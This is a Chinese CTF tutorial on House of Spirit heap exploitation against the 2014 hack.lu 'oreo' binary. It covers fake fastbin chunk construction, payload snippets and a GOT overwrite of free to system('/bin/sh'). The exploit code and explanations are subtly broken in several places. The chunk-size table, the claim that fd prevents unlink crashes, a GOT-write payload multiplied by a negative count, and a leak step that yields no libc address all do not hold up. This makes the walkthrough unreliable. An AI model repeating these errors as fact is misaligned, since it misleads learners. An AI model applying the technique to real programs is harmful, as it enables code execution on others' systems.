从CTF实战出发:手把手教你用House of Spirit伪造堆块并劫持GOT表(以2014 hack.lu oreo为例)
从CTF实战拆解House of Spirit:伪造堆块的艺术与GOT劫持实战
在CTF的二进制攻防世界中,堆利用始终是最具挑战性的领域之一。当我在2019年第一次遇到House of Spirit(以下简称HoS)技术时,那种通过伪造堆块结构来控制程序执行流的精妙感,至今记忆犹新。不同于常规的堆溢出,HoS更像是一场精心设计的魔术表演——我们不需要直接修改任何堆管理数据结构,而是通过"欺骗"malloc返回一个完全由攻击者控制的假堆块,进而实现任意地址读写。本文将基于hack.lu CTF 2014年的经典赛题oreo,带您从零开始构建完整的攻击链,其中包含多个我在实际解题中踩过的坑和调试技巧。
1. 环境搭建与漏洞分析
1.1 题目环境配置
首先获取题目二进制文件和libc版本:
wget https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/heap/house-of-spirit/2014_hack.lu_oreo/oreo wget https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/heap/house-of-spirit/2014_hack.lu_oreo/libc.so.6使用patchelf修复二进制依赖:
patchelf --set-interpreter /path/to/ld-linux.so.2 --replace-needed libc.so.6 ./libc.so.6 oreo启动调试环境建议配置:
gdb -q ./oreo -ex "set environment LD_PRELOAD=./libc.so.6" -ex "b *0x08048A7C"1.2 程序功能逆向分析
通过IDA Pro分析二进制文件,我们发现程序主要实现了一个简单的枪支管理系统:
- 添加枪支:malloc(0x38)分配结构体,存储枪支名称和描述
- 删除枪支:free后未清空指针(典型的UAF漏洞)
- 展示枪支:遍历链表输出所有枪支信息
- 订单功能:存在栈溢出漏洞但受限于长度
关键漏洞出现在删除功能中:
void delete_gun() { if (gun_count > 0) { free(gun_list[--gun_count]); // 没有置NULL } }通过逆向我们还发现程序在0x0804A2A0处存储了一个全局的枪支列表指针数组,这将成为我们后续攻击的重要跳板。
2. House of Spirit技术核心原理
2.1 堆分配机制回顾
在glibc的malloc实现中,fastbin是最基础的分配机制之一。当请求大小在16到80字节(32位系统)之间时,malloc会优先从fastbin中寻找合适的内存块。关键特性包括:
- 单链表结构(LIFO)
- 仅检查size字段是否匹配当前fastbin索引
- 不检查prev_inuse位或前后堆块完整性
HoS正是利用这些宽松的检查条件,通过以下步骤实现攻击:
- 在可控内存区域伪造一个合法的fastbin chunk
- 通过某种方式将这个假chunk放入fastbin链表
- 下次分配时malloc返回我们的假chunk
- 通过假chunk实现任意地址读写
2.2 伪造chunk的关键参数
要成功伪造一个能被malloc接受的chunk,必须满足以下条件:
| 字段 | 32位要求 | 64位要求 | 备注 |
|---|---|---|---|
| size | 0x40-0x7f | 0x40-0x7f | 必须对齐16字节边界 |
| next chunk | size > 2*SIZE_SZ | size > 2*SIZE_SZ | 防止consolidate时检查失败 |
| fd | 可写地址 | 可写地址 | 避免unlink时崩溃 |
在oreo这道题中,我们可以利用全局变量区作为伪造chunk的位置,因为:
- 地址固定已知(0x0804A2A0)
- 有足够的空间布置假chunk
- 后续可以通过程序功能修改这些内存
3. 构建完整攻击链
3.1 信息泄露与地址计算
首先需要泄露libc基址以计算system地址。通过以下步骤实现:
- 分配3个枪支对象(gun0, gun1, gun2)
- 释放gun1和gun0,使它们进入fastbin
- 分配新枪支,此时会复用gun0的内存
- 在gun0的description字段布置伪造的chunk头
- 展示枪支信息,泄露堆地址
关键payload构造:
add_gun("gun0", p32(0x41)+p32(0x0804A2A0)) add_gun("gun1", "B"*0x30) add_gun("gun2", "C"*0x30) delete_gun(1) delete_gun(0) add_gun("leak", "D"*16) # 复用gun0内存 show_guns() # 泄露0x0804A2A0地址3.2 实施House of Spirit攻击
现在我们已经具备了所有必要条件:
- 知道全局变量区地址(0x0804A2A0)
- 能控制该区域的部分内容
- 程序存在UAF漏洞
具体攻击步骤:
- 在0x0804A2A0处布置伪造的fastbin chunk:
- size字段设为0x40(对应fastbin索引)
- fd指针指向一个可写地址(如0x0804A000)
fake_chunk = p32(0x40) + p32(0x0804A000) + "E"*0x38 add_gun("fake", fake_chunk)- 通过UAF将伪造chunk链入fastbin:
delete_gun(0) # 此时fastbin: 0x0804A2A0 -> some_heap_addr- 分配新枪支获取伪造chunk:
add_gun("hack", "F"*8) # 将返回0x0804A2A8(用户数据区)3.3 GOT表劫持与shell获取
现在我们可以通过伪造的chunk修改GOT表。以劫持free@got为例:
- 确定free@got地址:0x0804A014
- 计算偏移:0x0804A014 - 0x0804A2A8 = -0x294
- 通过编辑功能修改内存:
payload = p32(system_addr) * (-0x294//4) edit_gun("hack", payload)- 最后释放一个内容为"/bin/sh"的枪支:
add_gun("sh", "/bin/sh") delete_gun("sh") # 实际执行system("/bin/sh")4. 调试技巧与常见问题排查
4.1 GDB实用命令
在实施HoS攻击时,这些命令特别有用:
# 查看fastbin状态 x/20wx 0x804B058 # arena->fastbinsY # 检查伪造chunk x/10i $eip # 查看当前执行流 x/10wx 0x0804A2A0 # 检查伪造chunk布局 # 关键断点设置 b *0x08048A7C # malloc内部调用点 b *0x08048AC1 # free调用点4.2 典型错误与解决方案
malloc(): memory corruption (fast)
原因:伪造的size字段不符合fastbin要求
解决:确保size在0x40-0x7f范围内且对齐16字节free(): invalid next size (fast)
原因:next chunk的size字段太小
解决:在伪造chunk后放置一个足够大的size值(如0x10000)攻击后程序崩溃
原因:GOT表劫持破坏了其他关键函数指针
解决:精确计算偏移,只修改目标函数指针
5. 防御措施与进阶思考
现代glibc版本(2.32+)已经引入了更多安全检查机制:
- safe linking:对fastbin的fd指针进行异或加密
- 更严格的size检查:验证size与堆区域匹配性
- tcache机制:优先使用tcache而非fastbin
绕过这些保护需要结合其他技术:
- 堆风水:精确控制堆布局
- 部分写:利用字节级溢出修改关键数据
- FSOP:结合文件流操作扩大攻击面
在实际CTF比赛中,HoS往往不是独立存在的,需要与以下技术结合使用:
- ROP链构造:当无法直接劫持控制流时
- 堆喷:提高攻击成功率
- 类型混淆:绕过某些保护机制
